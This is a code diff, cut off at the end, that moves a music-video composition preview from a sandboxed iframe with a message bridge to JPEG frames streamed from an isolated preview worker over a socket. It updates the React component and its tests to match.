- <div className="overflow-hidden rounded border border-port-border bg-black" style={{ aspectRatio: doc?.width && doc?.height ? `${doc.width} / ${doc.height}` : '16 / 9', maxHeight: '70vh' }}>
- {srcDoc ? (
- <iframe ref={iframeRef} title="Code-rendered preview" sandbox="allow-scripts" srcDoc={srcDoc} className="h-full w-full" />
+ {(preview.status === 'unavailable' || preview.status === 'error') && (
+ <p className="text-xs text-port-error" role="alert">{preview.reason || 'Isolated preview is unavailable.'}</p>
+ )}
+ <div title="Code-rendered preview" className="overflow-hidden rounded border border-port-border bg-black" style={{ aspectRatio: doc?.width && doc?.height ? `${doc.width} / ${doc.height}` : '16 / 9', maxHeight: '70vh' }}>
+ {preview.frameUrl ? (
+ <img alt="" src={preview.frameUrl} className="h-full w-full object-contain" />
) : (
- <p className="p-3 text-xs text-port-text-muted">{error ? '' : 'Building the preview…'}</p>
+ <p className="p-3 text-xs text-port-text-muted">{error || preview.status === 'error' ? '' : 'Building the preview…'}</p>
)}
</div>
<div className="flex flex-wrap items-center gap-2">
diff --git a/client/src/components/musicVideo/CodeVideoPanel.test.jsx b/client/src/components/musicVideo/CodeVideoPanel.test.jsx
index cea0981be5..abe3ae3b65 100644
--- a/client/src/components/musicVideo/CodeVideoPanel.test.jsx
+++ b/client/src/components/musicVideo/CodeVideoPanel.test.jsx
@@ -21,6 +21,9 @@ vi.mock('../../hooks/useProviderModels.js', () => ({
}),
}));
vi.mock('../ui/Toast', () => ({ default: { success: vi.fn(), error: vi.fn() } }));
+vi.mock('../../services/socket', () => ({
+ default: { emit: vi.fn(), on: vi.fn(), off: vi.fn(), connected: true },
+}));
import CodeVideoPanel from './CodeVideoPanel.jsx';
diff --git a/client/src/components/musicVideo/CompositionPreviewPlayer.jsx b/client/src/components/musicVideo/CompositionPreviewPlayer.jsx
index e1a5d239e5..e832516c7c 100644
--- a/client/src/components/musicVideo/CompositionPreviewPlayer.jsx
+++ b/client/src/components/musicVideo/CompositionPreviewPlayer.jsx
@@ -1,9 +1,7 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
-import { uuidv4 } from '../../lib/uuid.js';
-import { buildGeneratedPreviewSandbox, MUSIC_VIDEO_PREVIEW_MESSAGES } from '../../../../server/lib/generatedPreviewSandbox.js';
import { Pause, Play } from 'lucide-react';
import { normalizeTitleCard } from '../../../../server/lib/musicVideoTitleCard.js';
-import { fetchMusicVideoPreviewAsset, getMusicVideoCompositionPreview, getMusicVideoLyricPlaythroughPreview } from '../../services/apiMusicVideo.js';
+import useGeneratedPreview from '../../hooks/useGeneratedPreview.js';
const buttonCls = 'flex items-center gap-1 bg-port-bg border border-port-border rounded px-2 py-1.5 text-sm min-h-[44px] sm:min-h-0 disabled:opacity-50';
@@ -22,59 +20,28 @@ const lyricAt = (cues, t) => {
return line?.text || '';
};
-// A phone's collapsed mini-player has no picture to show, so it must not pull
-// every scene take into memory up front — iOS Safari kills the tab and offers
-// only "A problem repeatedly occurred". Without matchMedia, load eagerly.
+// A phone's collapsed mini-player has no picture to show, so it must not start
+// the isolated renderer up front. Without matchMedia, load eagerly.
const DESKTOP_QUERY = '(min-width: 1024px)';
const startsDeferred = (collapsed) => collapsed && window.matchMedia?.(DESKTOP_QUERY).matches === false;
-// Fetched preview media kept for the iframe to ask for again (a scrub back, a
-// rebuilt document). Least recently used blobs go first; the newest one stays
-// even when it alone exceeds the budget. A phone tab's memory is the limit.
-export const PREVIEW_BLOB_BUDGET_BYTES = 64 * 1024 * 1024;
-const remember = (cache, url, blob) => {
- cache.set(url, blob);
- let total = 0;
- for (const kept of cache.values()) total += kept.size;
- for (const [key, kept] of cache) {
- if (total <= PREVIEW_BLOB_BUDGET_BYTES || cache.size === 1) break;
- cache.delete(key);
- total -= kept.size;
- }
-};
-
/**
- * Live preview of the project's composition document: the sandboxed iframe,
- * the song, play/scrub and the lyric line being sung. The iframe runs in an
- * opaque-origin sandbox that cannot fetch, so this component posts it the
- * manifest of bridged media, fetches each scene take or document file only
- * when the document first asks for it (`portos-mv:request`), posts it in as a
- * Blob over the `portos-mv:*` message bridge, and drives the document with
- * seek messages. Only listed keys are ever fetched.
- *
- * `seekRequest` (`{ t, n }`) moves the player from outside — the board seeks it
- * to a scene's start; `n` changes on every request so seeking twice to the same
- * time still applies. `collapsed` hides the picture (mini-player) below `lg`
- * while the transport stays usable; the iframe stays mounted so the loaded
- * media and playhead survive.
+ * Live preview of a composition document or lyric playthrough. The generated
+ * page runs in the OS-isolated preview worker. This component shows JPEG
+ * frames only — it does not fetch private media and it does not mount an iframe.
*
- * `lyrics` plays the lyric timing playthrough instead of the project's document:
- * the aligned words over a plain frame, for checking timing before any picture.
+ * `seekRequest` (`{ t, n }`) moves the player from outside. `collapsed` hides
+ * the picture below `lg` until the dock is expanded or the viewport is desktop.
+ * `lyrics` previews timed lyrics instead of the document. `draft` previews the
+ * candidate document.
*/
export default function CompositionPreviewPlayer({ project, audioUrl, seekRequest = null, collapsed = false, draft = false, lyrics = false, scrubId: givenScrubId = null }) {
const doc = lyrics ? { playthrough: true } : (draft ? project.composition?.documentDraft : project.composition?.document) || null;
const scrubId = givenScrubId || (lyrics ? 'mv-lyrics-scrub' : draft ? 'mv-doc-draft-scrub' : 'mv-doc-scrub');
- const [preview, setPreview] = useState(null);
- const sandbox = useMemo(() => preview?.html ? { revision: uuidv4(), html: preview.html } : null, [preview]);
- const sandboxHtml = useMemo(() => sandbox ? buildGeneratedPreviewSandbox(sandbox.html, { revision: sandbox.revision, ...MUSIC_VIDEO_PREVIEW_MESSAGES }) : null, [sandbox]);
- const [previewError, setPreviewError] = useState('');
- const [status, setStatus] = useState('');
const [wanted, setWanted] = useState(() => !startsDeferred(collapsed));
useEffect(() => {
if (!collapsed) { setWanted(true); return undefined; }
const desktop = window.matchMedia?.(DESKTOP_QUERY);
- // The desktop dock is always visible and has no expand button. A preview
- // deferred on a phone must therefore load when its viewport becomes wide.
const reveal = () => { if (!desktop || desktop.matches) setWanted(true); };
reveal();
desktop?.addEventListener?.('change', reveal);
@@ -82,133 +49,33 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekReques
}, [collapsed]);
const [t, setT] = useState(0);
const [playing, setPlaying] = useState(false);
- const iframeRef = useRef(null);
const audioRef = useRef(null);
- const blobCache = useRef(new Map());
- const seekState = useRef({ inFlight: false, pending: null, ready: false });
const appliedSeek = useRef(null);
- // The project's finishing film look (lib/filmLook.js) is posted into the
- // page, never baked into it: a slider move reaches the picture without a
- // rebuild, and the page re-seeds it for every frame it draws.
const filmLook = lyrics ? null : (project.filmLook ?? null);
- const filmLookRef = useRef(filmLook);
- useEffect(() => {
- filmLookRef.current = filmLook;
- if (seekState.current.ready) iframeRef.current?.contentWindow?.postMessage({ type: 'portos-mv:film-look', look: filmLook }, '*');
- }, [filmLook]);
- // The opening title card is posted the same way, so its panel's edits redraw the paused frame at once;
- // unlike the look it also shows over the lyric playthrough, to check it against the timed lyrics.
const titleCard = useMemo(() => normalizeTitleCard(project.titleCard), [project.titleCard]);
- const titleCardRef = useRef(titleCard);
- useEffect(() => {
- titleCardRef.current = titleCard;
- if (seekState.current.ready) iframeRef.current?.contentWindow?.postMessage({ type: 'portos-mv:title-card', card: titleCard }, '*');
- }, [titleCard]);
-
- // The document's own version (its folder + save time), not the project's
- // `updatedAt`: an unrelated save must not reload a playing preview.
- const refresh = lyrics ? playthroughVersion(project) : doc ? `${doc.directory}|${doc.updatedAt || ''}` : null;
- useEffect(() => {
- let active = true;
- setPreview(null);
- setPreviewError('');
- setStatus('');
- seekState.current = { inFlight: false, pending: null, ready: false };
- if (!refresh || !wanted) return () => { active = false; };
- (lyrics ? getMusicVideoLyricPlaythroughPreview(project.id, { silent: true }) : getMusicVideoCompositionPreview(project.id, { silent: true, draft }))
- .then((next) => { if (active) setPreview(next); })
- .catch((err) => { if (active) setPreviewError(err?.message || 'Could not build the preview'); });
- return () => { active = false; };
- }, [project.id, refresh, draft, lyrics, wanted]);
-
- const postSeek = useCallback((time) => {
- const frame = iframeRef.current?.contentWindow;
- const state = seekState.current;
- if (!frame || !state.ready) return;
- if (state.inFlight) { state.pending = time; return; }
- state.inFlight = true;
- frame.postMessage({ type: 'portos-mv:seek', t: time }, '*');
- }, []);
-
- useEffect(() => {
- if (!preview) return undefined;
- let active = true;
- let missing = false;
- let firstFrame = true;
- const inFlight = new Map();
- const byKey = new Map((preview.assets || []).map((asset) => [String(asset.key).replace(/^\.\//, ''), asset]));
- // Only the first frame announces loading: a status line appearing on every later fetch would shift the layout mid-playback.
- const showStatus = () => {
- if (active) setStatus(missing ? 'Some preview media could not be loaded' : firstFrame ? 'Loading preview media…' : '');
- };
- const mediaFor = async (url) => {
- const cache = blobCache.current;
- if (cache.has(url)) {
- const blob = cache.get(url);
- cache.delete(url);
- cache.set(url, blob);
- return blob;
- }
- if (!inFlight.has(url)) {
- inFlight.set(url, fetchMusicVideoPreviewAsset(url)
- .then((blob) => { remember(cache, url, blob); return blob; }, () => null)
- .finally(() => inFlight.delete(url)));
- }
- return inFlight.get(url);
- };
- const onMessage = async (event) => {
- if (event.source !== iframeRef.current?.contentWindow || event.data?.previewRevision !== sandbox?.revision) return;
- const message = event.data || {};
- const state = seekState.current;
- if (message.type === 'portos-mv:loaded') {
- // The manifest only: each file is fetched when the document first asks for it, so the first
- // frame waits on the media near the playhead rather than on every take in the project.
- event.source.postMessage({ type: 'portos-mv:manifest', keys: [...byKey.keys()] }, '*');
- // The page starts from the look saved when it was built; the board may have moved the sliders since.
- event.source.postMessage({ type: 'portos-mv:film-look', look: filmLookRef.current }, '*');
- event.source.postMessage({ type: 'portos-mv:title-card', card: titleCardRef.current }, '*');
- showStatus();
- state.ready = true;
- postSeek(t);
- } else if (message.type === 'portos-mv:request') {
- const key = String(message.key);
- const asset = byKey.get(key);
- const blob = asset ? await mediaFor(asset.url) : null;
- if (!blob) { missing = true; showStatus(); }
- if (active && event.source === iframeRef.current?.contentWindow) event.source.postMessage({ type: 'portos-mv:asset', key, blob }, '*');
- } else if (message.type === 'portos-mv:seeked') {
- if (firstFrame) { firstFrame = false; showStatus(); }
- state.inFlight = false;
- if (state.pending != null) { const next = state.pending; state.pending = null; postSeek(next); }
- } else if (message.type === 'portos-mv:error') {
- firstFrame = false;
- showStatus();
- state.inFlight = false;
- setPreviewError(String(message.message || 'The composition document failed in the preview'));
- }
+ const revision = lyrics ? playthroughVersion(project) : doc ? `${doc.directory}|${doc.updatedAt || ''}` : null;
+ const request = useMemo(() => {
+ if (!wanted || !revision || !doc) return null;
+ return {
+ kind: 'music-video', projectId: project.id, draft: !!draft, lyrics: !!lyrics, revision,
};
- window.addEventListener('message', onMessage);
- return () => { active = false; window.removeEventListener('message', onMessage); };
- // `t` is read once when the page loads; later seeks go through postSeek.
- // eslint-disable-next-line react-hooks/exhaustive-deps
- }, [preview, sandbox, postSeek]);
+ }, [wanted, revision, doc, project.id, draft, lyrics]);
+ const controls = useMemo(() => ({ look: filmLook, card: titleCard }), [filmLook, titleCard]);
+ const preview = useGeneratedPreview({ active: !!request, request, controls });
- const duration = preview?.durationSec || 0;
- const fps = preview?.fps || 24;
+ const duration = preview.durationSec || 0;
+ const fps = preview.fps || 24;
const seek = useCallback((time) => {
const next = Math.min(Math.max(0, time), Math.max(0, duration - 1 / fps));
setT(next);
- postSeek(next);
+ preview.seek(next);
if (audioRef.current && Math.abs((audioRef.current.currentTime || 0) - next) > 0.05) audioRef.current.currentTime = next;
- }, [duration, fps, postSeek]);
+ }, [duration, fps, preview.seek]);
- // An outside seek (a scene card) waits for the preview to know its duration,
- // then applies exactly once per request.
useEffect(() => {
if (!seekRequest || duration <= 0 || appliedSeek.current === seekRequest.n) return;
appliedSeek.current = seekRequest.n;
seek(seekRequest.t);
- // A storyboard row asks to play from the shot (`play`); a scene card only cues it.
if (seekRequest.play && audioRef.current) { audioRef.current.play?.()?.catch?.(() => {}); setPlaying(true); }
else { audioRef.current?.pause?.(); setPlaying(false); }
}, [seekRequest, duration, seek]);
@@ -220,12 +87,12 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekReques
const tick = () => {
const time = audioRef.current?.currentTime || 0;
const frameIndex = Math.floor(time * fps + 1e-9);
- if (frameIndex !== posted) { posted = frameIndex; setT(time); postSeek(time); }
+ if (frameIndex !== posted) { posted = frameIndex; setT(time); preview.seek(time); }
handle = requestAnimationFrame(tick);
};
handle = requestAnimationFrame(tick);
return () => cancelAnimationFrame(handle);
- }, [playing, fps, postSeek]);
+ }, [playing, fps, preview.seek]);
const togglePlay = () => {
const audio = audioRef.current;
@@ -236,29 +103,35 @@ export default function CompositionPreviewPlayer({ project, audioUrl, seekReques
};
if (!doc) return null;
- const aspect = preview?.width && preview?.height ? `${preview.width} / ${preview.height}` : '16 / 9';
+ const title = lyrics ? 'Lyric timing playthrough' : draft ? 'Composition candidate preview' : 'Composition document preview';
+ const aspect = preview.width && preview.height ? `${preview.width} / ${preview.height}` : '16 / 9';
const lyric = lyricAt(project.lyricCues, t);
+ const failed = preview.status === 'error' || preview.status === 'unavailable';
+ const timeLabel = failed
+ ? 'Preview unavailable'
+ : preview.ready
+ ? `${t.toFixed(2)}s / ${duration.toFixed(1)}s`
+ : !wanted ? 'Expand to load preview' : 'Loading preview…';
return (
<div className="space-y-2" aria-label={lyrics ? 'Lyric timing playthrough' : 'Composition preview'}>
- {previewError && <p className="text-xs text-port-error" role="alert">{previewError}</p>}
- {status && <p className="text-xs text-port-text-muted">{status}</p>}
- <div className={`overflow-hidden rounded border border-port-border bg-black mx-auto ${collapsed ? 'max-xl:hidden' : ''}`}
+ {failed && <p className="text-xs text-port-error" role="alert">{preview.reason || 'Preview unavailable'}</p>}
+ <div title={title} className={`overflow-hidden rounded border border-port-border bg-black mx-auto ${collapsed ? 'max-xl:hidden' : ''}`}
style={{ aspectRatio: aspect, maxHeight: '70vh', maxWidth: '100%' }}>
- {preview?.html ? (
- <iframe key={sandbox.revision} data-preview-revision={sandbox.revision} ref={iframeRef} title={lyrics ? 'Lyric timing playthrough' : draft ? 'Composition candidate preview' : 'Composition document preview'} sandbox="allow-scripts" srcDoc={sandboxHtml} className="h-full w-full" />
+ {preview.frameUrl ? (
+ <img alt="" src={preview.frameUrl} className="h-full w-full object-contain" />
) : (
- <p className="p-3 text-xs text-port-text-muted">{previewError ? '' : 'Building the preview…'}</p>
+ <p className="p-3 text-xs text-port-text-muted">{failed ? '' : wanted ? 'Building the preview…' : ''}</p>
)}
</div>
<div className="flex flex-wrap items-center gap-2">
- <button type="button" className={buttonCls} onClick={togglePlay} disabled={!preview || !audioUrl || (!!previewError && !playing)}>
+ <button type="button" className={buttonCls} onClick={togglePlay} disabled={!preview.ready || !audioUrl || (failed && !playing)}>
{playing ? <Pause size={14} /> : <Play size={14} />} {playing ? 'Pause' : 'Play'}
</button>
<label htmlFor={scrubId} className="sr-only">{lyrics ? 'Scrub the lyric playthrough' : draft ? 'Scrub the composition candidate' : 'Scrub the composition preview'}</label>
- <input disabled={!preview || !!previewError} id={scrubId} type="range" min={0} max={duration || 0} step={1 / fps} value={Math.min(t, duration || 0)}
+ <input disabled={!preview.ready || failed} id={scrubId} type="range" min={0} max={duration || 0} step={1 / fps} value={Math.min(t, duration || 0)}
onChange={(e) => { audioRef.current?.pause(); setPlaying(false); seek(Number(e.target.value)); }}
className="min-w-0 flex-1" />
- <span className="text-xs text-port-text-muted tabular-nums">{previewError ? 'Preview unavailable' : preview ? `${t.toFixed(2)}s / ${duration.toFixed(1)}s` : !wanted ? 'Expand to load preview' : 'Loading preview…'}</span>
+ <span className="text-xs text-port-text-muted tabular-nums">{timeLabel}</span>
</div>
{lyric && !lyrics && <p className="text-xs italic break-words" aria-live="off" data-testid="preview-lyric">♪ {lyric}</p>}
{audioUrl && <audio ref={audioRef} src={audioUrl} preload="none" className="hidden" onEnded={() => setPlaying(false)} />}
diff --git a/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx b/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx
index 255ba157f5..e9ce6bc226 100644
--- a/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx
+++ b/client/src/components/musicVideo/CompositionPreviewPlayer.test.jsx
@@ -3,11 +3,46 @@ import { act, render, screen, waitFor } from '@testing-library/react';
const api = vi.hoisted(() => ({
getMusicVideoCompositionPreview: vi.fn(),
+ getMusicVideoLyricPlaythroughPreview: vi.fn(),
fetchMusicVideoPreviewAsset: vi.fn(),
}));
+const socket = vi.hoisted(() => {
+ const handlers = new Map();
+ let sessions = 0;
+ const reply = (event, payload) => {
+ if (event !== 'generated-preview:open') return;
+ sessions += 1;
+ const opened = {
+ requestId: payload.requestId,
+ sessionId: `00000000-0000-4000-8000-${String(sessions).padStart(12, '0')}`,
+ durationSec: 10,
+ fps: 24,
+ width: 1920,
+ height: 1080,
+ revision: payload.revision,
+ audio: 'none',
+ };
+ for (const fn of handlers.get('generated-preview:opened') || []) fn(opened);
+ for (const fn of handlers.get('generated-preview:frame') || []) {
+ fn({ ...opened, generation: 0, mime: 'image/jpeg', data: btoa('frame') });
+ }
+ };
+ return {
+ emit: vi.fn(reply),
+ reply,
+ on: vi.fn((event, cb) => {
+ if (!handlers.has(event)) handlers.set(event, new Set());
+ handlers.get(event).add(cb);
+ }),
+ off: vi.fn((event, cb) => { handlers.get(event)?.delete(cb); }),
+ connected: true,
+ __handlers: handlers,
+ };
+});
vi.mock('../../services/apiMusicVideo.js', () => api);
+vi.mock('../../services/socket', () => ({ default: socket }));
-import CompositionPreviewPlayer, { PREVIEW_BLOB_BUDGET_BYTES } from './CompositionPreviewPlayer.jsx';
+import CompositionPreviewPlayer from './CompositionPreviewPlayer.jsx';
const DOCUMENT = { directory: 'music-video/mv-1/composition/doc-a', entry: 'index.html' };
const project = {
@@ -15,168 +50,90 @@ const project = {
lyricCues: [{ id: 'l1', text: 'first line', startSec: 1, endSec: 3 }, { id: 'l2', text: 'second line', startSec: 3, endSec: 6 }],
};
+const opens = () => socket.emit.mock.calls.filter(([event]) => event === 'generated-preview:open');
+
beforeEach(() => {
for (const fn of Object.values(api)) fn.mockReset();
- api.getMusicVideoCompositionPreview.mockResolvedValue({ html: '<!doctype html><p>preview</p>', assets: [], width: 1920, height: 1080, fps: 24, durationSec: 10 });
+ socket.emit.mockReset();
+ socket.emit.mockImplementation(socket.reply);
+ socket.__handlers.clear();
});
describe('CompositionPreviewPlayer', () => {
- // The iframe is played by the test: it reports `loaded`, then asks for keys the way the bootstrap does.
- const loadPreview = async (assets) => {
- api.getMusicVideoCompositionPreview.mockResolvedValue({ html: '<!doctype html><p>preview</p>', assets, fps: 24, durationSec: 10 });
+ it('opens an isolated preview and never fetches media or mounts generated HTML', async () => {
render(<CompositionPreviewPlayer project={project} audioUrl={null} />);
- const frame = await screen.findByTitle('Composition document preview');
- const post = vi.spyOn(frame.contentWindow, 'postMessage');
- const send = (data) => act(async () => {
- window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } }));
- });
- // findByTitle can resolve before React flushes the passive effect that attaches the message listener, so a
- // `loaded` sent that early is dropped; repeat it until the player answers with its manifest.
- await waitFor(async () => {
- await send({ type: 'portos-mv:loaded' });
- expect(post).toHaveBeenCalledWith(expect.objectContaining({ type: 'portos-mv:manifest' }), '*');
- });
- const ask = async (key) => {
- await send({ type: 'portos-mv:request', key });
- await waitFor(() => expect(post).toHaveBeenCalledWith(expect.objectContaining({ type: 'portos-mv:asset', key }), '*'));
- const answer = post.mock.calls.filter(([data]) => data.type === 'portos-mv:asset' && data.key === key).at(-1)[0];
- post.mockClear();
- return answer.blob;
- };
- return { post, send, ask };
- };
-
- it('posts the media manifest first and fetches only the files the document asks for', async () => {
- const assets = [{ key: 'media/scene-a.mp4', url: '/preview/scene-a' }, { key: 'media/scene-b.png', url: '/preview/scene-b' }, { key: 'media/scene-c.png', url: '/preview/scene-c' }];
- const blob = new Blob(['example media'], { type: 'image/png' });
- api.fetchMusicVideoPreviewAsset.mockResolvedValue(blob);
- const { post, ask } = await loadPreview(assets);
- expect(post).toHaveBeenCalledWith({ type: 'portos-mv:manifest', keys: assets.map((asset) => asset.key) }, '*');
- expect(post).toHaveBeenCalledWith({ type: 'portos-mv:seek', t: 0 }, '*');
- expect(api.fetchMusicVideoPreviewAsset).not.toHaveBeenCalled();
-
- expect(await ask('media/scene-b.png')).toBe(blob);
- expect(api.fetchMusicVideoPreviewAsset.mock.calls).toEqual([['/preview/scene-b']]);
- // A key outside the manifest is refused without a request: document code names nothing else.
- expect(await ask('../secrets.png')).toBeNull();
- expect(api.fetchMusicVideoPreviewAsset).toHaveBeenCalledTimes(1);
- expect(screen.queryByText('Some preview media could not be loaded')).toBeInTheDocument();
- });
-
- it('retires a revision before delivering an in-flight media response and rejects forged revision messages', async () => {
- let resolveAsset;
- api.fetchMusicVideoPreviewAsset.mockImplementation(() => new Promise(resolve => { resolveAsset = resolve; }));
- api.getMusicVideoCompositionPreview.mockResolvedValue({ html: '<p>one</p>', assets: [{ key: 'private', url: '/synthetic' }], durationSec: 5 });
- const { rerender } = render(<CompositionPreviewPlayer project={project} />);
- const frame = await screen.findByTitle('Composition document preview');
- const post = vi.spyOn(frame.contentWindow, 'postMessage');
- await act(async () => window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow,
- data: { type: 'portos-mv:request', key: 'private', previewRevision: 'wrong' } })));
+ await screen.findByTitle('Composition document preview');
+ await waitFor(() => expect(opens()).toHaveLength(1));
+ expect(opens()[0][1]).toEqual(expect.objectContaining({
+ kind: 'music-video', projectId: 'mv-1', revision: `${DOCUMENT.directory}|`,
+ }));
+ expect(api.getMusicVideoCompositionPreview).not.toHaveBeenCalled();
expect(api.fetchMusicVideoPreviewAsset).not.toHaveBeenCalled();
- await act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow,
- data: { type: 'portos-mv:request', key: 'private', previewRevision: frame.dataset.previewRevision } })); });
- expect(api.fetchMusicVideoPreviewAsset).toHaveBeenCalledOnce();
- rerender(<CompositionPreviewPlayer project={{ ...project, composition: { document: { ...DOCUMENT, updatedAt: 'next' } } }} />);
- await waitFor(() => expect(screen.getByTitle('Composition document preview')).not.toBe(frame));
- await act(async () => resolveAsset(new Blob(['private'])));
- expect(post).not.toHaveBeenCalledWith(expect.objectContaining({ type: 'portos-mv:asset' }), '*');
+ expect(document.querySelector('iframe')).toBeNull();
});
- it('answers a failed fetch with no blob and reports the missing media once the first frame is drawn', async () => {
- api.fetchMusicVideoPreviewAsset.mockRejectedValue(new Error('Example unavailable asset'));
- const { send, ask } = await loadPreview([{ key: 'media/scene-a.png', url: '/preview/scene-a' }]);
- expect(screen.getByText('Loading preview media…')).toBeInTheDocument();
- expect(await ask('media/scene-a.png')).toBeNull();
- await send({ type: 'portos-mv:seeked', t: 0 });
- expect(screen.getByText('Some preview media could not be loaded')).toBeInTheDocument();
- expect(screen.queryByText('Loading preview media…')).not.toBeInTheDocument();
- });
-
- it('keeps fetched media within the blob budget, dropping the least recently used file first', async () => {
- const assets = ['a', 'b', 'c', 'd'].map((name) => ({ key: `media/${name}.jpg`, url: `/preview/${name}` }));
- // Each file is half the budget, so two fit; sizes stand in for real blobs without allocating them.
- api.fetchMusicVideoPreviewAsset.mockImplementation(async (url) => ({ url, size: PREVIEW_BLOB_BUDGET_BYTES / 2 }));
- const { ask } = await loadPreview(assets);
- const fetched = () => api.fetchMusicVideoPreviewAsset.mock.calls.map(([url]) => url);
- await ask('media/a.jpg');
- await ask('media/b.jpg');
- await ask('media/a.jpg'); // cached, and now the most recently used
- expect(fetched()).toEqual(['/preview/a', '/preview/b']);
- await ask('media/c.jpg'); // over budget: b goes, a stays
- await ask('media/a.jpg');
- expect(fetched()).toEqual(['/preview/a', '/preview/b', '/preview/c']);
- await ask('media/b.jpg'); // evicted, so fetched again (and c, now oldest, goes)
- await ask('media/c.jpg');
- expect(fetched()).toEqual(['/preview/a', '/preview/b', '/preview/c', '/preview/b', '/preview/c']);
+ it('reports an explicit unavailable state and still does not mount an iframe', async () => {
+ socket.emit.mockImplementation((event, payload) => {
+ if (event !== 'generated-preview:open') return;
+ for (const fn of socket.__handlers.get('generated-preview:unavailable') || []) {
+ fn({ requestId: payload.requestId, code: 'PREVIEW_ISOLATION_UNAVAILABLE', message: 'Isolated preview is unavailable on this host.' });
+ }
+ });
+ render(<CompositionPreviewPlayer project={project} audioUrl={null} />);
+ expect(await screen.findByRole('alert')).toHaveTextContent('Isolated preview is unavailable on this host.');
+ expect(screen.getByText('Preview unavailable')).toBeInTheDocument();
+ expect(document.querySelector('iframe')).toBeNull();
});
- it('hands the project film look to the loaded document and again when it changes, without rebuilding the preview', async () => {
+ it('sends the film look with the open and again when it changes, without reopening', async () => {
const look = { version: 1, preset: 'custom', grain: 0.4 };
const { rerender } = render(<CompositionPreviewPlayer project={{ ...project, filmLook: look }} audioUrl={null} />);
- const frame = await screen.findByTitle('Composition document preview');
- const post = vi.spyOn(frame.contentWindow, 'postMessage');
- const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } })); });
- await waitFor(async () => {
- await send({ type: 'portos-mv:loaded' });
- expect(post).toHaveBeenCalledWith({ type: 'portos-mv:film-look', look }, '*');
- expect(post).toHaveBeenCalledWith(expect.objectContaining({ type: 'portos-mv:manifest' }), '*');
- });
- // The look lands before the first seek so the document's first frame is already filtered.
- const seekAt = post.mock.calls.findIndex(([data]) => data.type === 'portos-mv:seek');
- const lookAt = post.mock.calls.findIndex(([data]) => data.type === 'portos-mv:film-look');
- expect(seekAt).toBeGreaterThan(-1);
- expect(lookAt).toBeLessThan(seekAt);
-
+ await waitFor(() => expect(opens()[0][1].look).toEqual(look));
const next = { ...look, grain: 0.9 };
rerender(<CompositionPreviewPlayer project={{ ...project, filmLook: next }} audioUrl={null} />);
- await waitFor(() => expect(post).toHaveBeenCalledWith({ type: 'portos-mv:film-look', look: next }, '*'));
+ await waitFor(() => expect(socket.emit).toHaveBeenCalledWith('generated-preview:command', expect.objectContaining({ action: 'film-look', look: next })));
rerender(<CompositionPreviewPlayer project={{ ...project, filmLook: null }} audioUrl={null} />);
- await waitFor(() => expect(post).toHaveBeenCalledWith({ type: 'portos-mv:film-look', look: null }, '*'));
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
+ await waitFor(() => expect(socket.emit).toHaveBeenCalledWith('generated-preview:command', expect.objectContaining({ action: 'film-look', look: null })));
+ expect(opens()).toHaveLength(1);
});
- it('hands the opening title card to the loaded document and again on each edit, without rebuilding the preview', async () => {
+ it('sends the normalized title card with the open and again on each edit, without reopening', async () => {
const card = { enabled: true, title: 'Example Song', startSec: 2, endSec: 8 };
const { rerender } = render(<CompositionPreviewPlayer project={{ ...project, titleCard: card }} audioUrl={null} />);
- const frame = await screen.findByTitle('Composition document preview');
- const post = vi.spyOn(frame.contentWindow, 'postMessage');
- const send = (data) => act(async () => { window.dispatchEvent(new MessageEvent('message', { source: frame.contentWindow, data: { ...data, previewRevision: frame.dataset.previewRevision } })); });
- await waitFor(async () => {
- await send({ type: 'portos-mv:loaded' });
- expect(post).toHaveBeenCalledWith({ type: 'portos-mv:title-card', card: expect.objectContaining({ title: 'Example Song', position: 'lower-left' }) }, '*');
- });
+ await waitFor(() => expect(opens()[0][1].card).toEqual(expect.objectContaining({ title: 'Example Song', position: 'lower-left' })));
rerender(<CompositionPreviewPlayer project={{ ...project, titleCard: { ...card, position: 'upper-right' } }} audioUrl={null} />);
- await waitFor(() => expect(post).toHaveBeenCalledWith({ type: 'portos-mv:title-card', card: expect.objectContaining({ position: 'upper-right' }) }, '*'));
+ await waitFor(() => expect(socket.emit).toHaveBeenCalledWith('generated-preview:command', expect.objectContaining({
+ action: 'title-card', card: expect.objectContaining({ position: 'upper-right' }),
+ })));
rerender(<CompositionPreviewPlayer project={{ ...project, titleCard: null }} audioUrl={null} />);
- await waitFor(() => expect(post).toHaveBeenCalledWith({ type: 'portos-mv:title-card', card: null }, '*'));
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
+ await waitFor(() => expect(socket.emit).toHaveBeenCalledWith('generated-preview:command', expect.objectContaining({ action: 'title-card', card: null })));
+ expect(opens()).toHaveLength(1);
});
- it('keeps the loaded preview through an unrelated project save and rebuilds when the document version changes', async () => {
+ it('keeps the loaded preview through an unrelated project save and reopens when the document version changes', async () => {
const { rerender } = render(<CompositionPreviewPlayer project={project} audioUrl={null} />);
- const frame = await screen.findByTitle('Composition document preview');
+ await waitFor(() => expect(opens()).toHaveLength(1));
rerender(<CompositionPreviewPlayer project={{ ...project, updatedAt: '2026-02-02T00:00:00.000Z', name: 'Renamed' }} audioUrl={null} />);
await act(async () => {});
- expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(1);
- expect(screen.getByTitle('Composition document preview')).toBe(frame);
+ expect(opens()).toHaveLength(1);
const next = { ...project, composition: { mode: 'document', document: { ...DOCUMENT, directory: 'music-video/mv-1/composition/doc-b' } } };
rerender(<CompositionPreviewPlayer project={next} audioUrl={null} />);
- await waitFor(() => expect(api.getMusicVideoCompositionPreview).toHaveBeenCalledTimes(2));
+ await waitFor(() => expect(opens()).toHaveLength(2));
});
- it('does not build the preview behind a collapsed phone mini-player until it is expanded', async () => {
+ it('does not open the preview behind a collapsed phone mini-player until it is expanded', async () => {
const original = window.matchMedia;
window.matchMedia = vi.fn(() => ({ matches: false }));
try {
const { rerender } = render(<CompositionPreviewPlayer project={project} audioUrl={null} collapsed />);
await act(async () => {});
